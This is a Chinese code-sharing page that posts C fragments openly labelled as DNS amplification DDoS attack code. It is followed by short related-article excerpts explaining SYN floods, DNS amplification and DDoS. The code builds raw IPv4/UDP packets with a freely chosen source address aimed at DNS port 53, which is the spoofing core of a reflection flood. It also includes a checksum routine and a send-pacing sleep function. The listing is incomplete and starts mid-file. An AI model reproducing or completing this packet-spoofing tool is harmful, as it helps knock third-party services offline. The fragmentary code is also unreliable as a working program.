【DDOS】DNS放大拒绝服务攻击代码

/* DNS 头定义 */

struct dnshdr

{

unsigned short id;

unsigned short flags;

unsigned short qdcount;

unsigned short ancount;

unsigned short nscount;

unsigned short arcount;

};

#pragma pack(pop)

int t_raw_socket = 0;

int t_scr_ip = 0;

int t_dns_ip = 0;

int t_send_interval = 0;

int count = 0;

/**

校验和函数

*/

unsigned short csum(unsigned short *buf, int nwords)

{

unsigned long sum;

for (sum = 0; nwords > 0; nwords--)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

/**

* 组装udp包

*/

int build_udp_ip_packet(char *packet, unsigned int payload_size, uint32_t src_ip, uint32_t dst_ip, u_int16_t port)

{

struct ip *ip_hdr = (struct ip *) packet;

struct udphdr *udp_hdr = (struct udphdr *) (packet + sizeof (struct ip));

ip_hdr->ip_hl = 5; //包头长度

ip_hdr->ip_v = 4; //ipv4

ip_hdr->ip_tos = 0; //tos

ip_hdr->ip_len = sizeof(struct ip) + sizeof(struct udphdr) + payload_size; //ip包长度

ip_hdr->ip_id = 0; //id

ip_hdr->ip_off = 0; //fragment offset

ip_hdr->ip_ttl = 255; //ttl

ip_hdr->ip_p = 17; //udp协议

ip_hdr->ip_sum = 0; //临时 checksum

ip_hdr->ip_src.s_addr = src_ip; //原ip

ip_hdr->ip_dst.s_addr = dst_ip; //目的ip

udp_hdr->source = port; //原端口

udp_hdr->dest = htons(53); //目标端口

udp_hdr->len = htons(sizeof(struct udphdr) + payload_size); //udp包长度

udp_hdr->check = 0; //udp校验和

ip_hdr->ip_sum = csum((unsigned short *) packet, ip_hdr->ip_len >> 1); //计算真ip校验和

return ip_hdr->ip_len >> 1;

}

void Sleep(uint32_t msec)

{

struct timespec slptm;

slptm.tv_sec = msec / 1000;

slptm.tv_nsec = 1000 * 1000 * (msec - (msec / 1000) * 1000); //1000 ns = 1 us

if (nanosleep(&slptm, NULL) != -1)

{

}

else

{

fprintf(stderr,"%s : %u", "nanosleep failed !!\n", msec);

}

}

谢谢NEURON提供的代码

【DDOS】DNS放大拒绝服务攻击代码,布布扣,bubuko.com

时间: 2024-12-08 04:03:03

【DDOS】DNS放大拒绝服务攻击代码的相关文章

DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式.http://blog.csdn.net/bill_lee_sh_cn/article/details/6065704SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒

php防止ddos,dns,集群攻击的实现代码

<?php /* vim: set expandtab tabstop=4 shiftwidth=4: */ // +----------------------------------------------------------------------+ // | PHP version 5 | // +----------------------------------------------------------------------+ // | Copyright (c) 199

[科普]DNS相关的攻击介绍

一  什么是DNS DNS 是域名系统 (Domain Name System) 的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串. DNS 域名结构 通常 Internet 主机域名的一般结构为:主机名.三级域名.二级域名.顶级域名. Internet 的顶级域名由 Internet网络协会域名注册查询负责网络地址分配的委员会进行登记和管理,它还为 Internet的每一台主机分配唯一的

【网络安全】——服务端安全(注入攻击、认证与会话管理和访问控制、访问控制、加密算法与随机数、Web框架安全、应用层拒绝服务攻击DDOS等)

这一篇博客记录的是服务端安全应用安全的知识,学习内容来自<白帽子讲Web安全>. ? 承接自上一篇客户端安全之后,包括注入攻击.认证与会话管理和访问控制.访问控制.加密算法与随机数.Web框架安全.应用层拒绝服务攻击DDOS.Web Server安全等方面. @ 目录 注入攻击 SQL注入 盲注 Timing Attack 数据库攻击技巧 常见的攻击机巧 命令执行 攻击存储过程 编码问题 SQL Column Truncation 正确地防御SQL注入 其他注入攻击 文件上传漏洞 文件上传漏洞

使用bind新功能rate-limit防止DNS放大攻击和流量攻击

目前好多做DNS解析的服务,都采用了bind开源软件.好处就不多说了.但是在安全方面是个软肋,遭受DDOS流量攻击和放大攻击是常有的事情.在14年12月isc发布了最新的bind9.10-p1稳定版,同时对rate-limit默认支持(之前bind9.9的扩展支持版本,同样支持处于开发功能,需要在编译安装的时候./configure --enable-rrl开启rate-limit功能).rate-limit可以有效防止放大攻击和DDOS流量攻击. DDOS流量攻击就不多说了,关于放大攻击原理,

DDOS拒绝服务攻击

疯狂的向服务器发请求,损人不利己 消耗服务器资源殆尽—拒绝服务 分布式拒绝服务攻击:  1.肉鸡   -解决方案-服务器足够强大 2.攻击联盟 3.利用TCP建立连接的规则 a.C-S    使用不存在的IP地址模拟发送请求    (技术难点:底层代码) b.S-C    服务器请求等待,资源占用,等待超时 c.C-S

《转》DNS放大攻击

原文链接:http://blog.sina.com.cn/s/blog_90bb1f200101iazl.html 放大攻击(也称为杠杆攻击,英文名字DNS Amplification Attack),利用回复包比请求包大的特点(放大流量),伪造请求包的源IP地址,将应答包引向被攻击的目标.对于DNS服务器来说,只需要抛弃不是自己发出去的请求包的应答包即可.从测试角度来说,向被测试服务器,发送大量的回复包,看是否被丢弃,同时观察此时的CPU利用率是否有急剧的上升即可. 当前许多DNS服务器支持E

DDOS分布式拒绝服务攻击

概念: 分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力.通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上.代理程序收到指令时就发动攻击.利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行. 原理: SYN-

分布式拒绝服务攻击(DDoS)原理及防范

DDoS攻击概念 DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应. DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式.单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低.内存小或者网络带宽小等等各项性能指标不高它的效果是明显的.随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了 – 目标对恶意攻击包的”消化能力”加强了不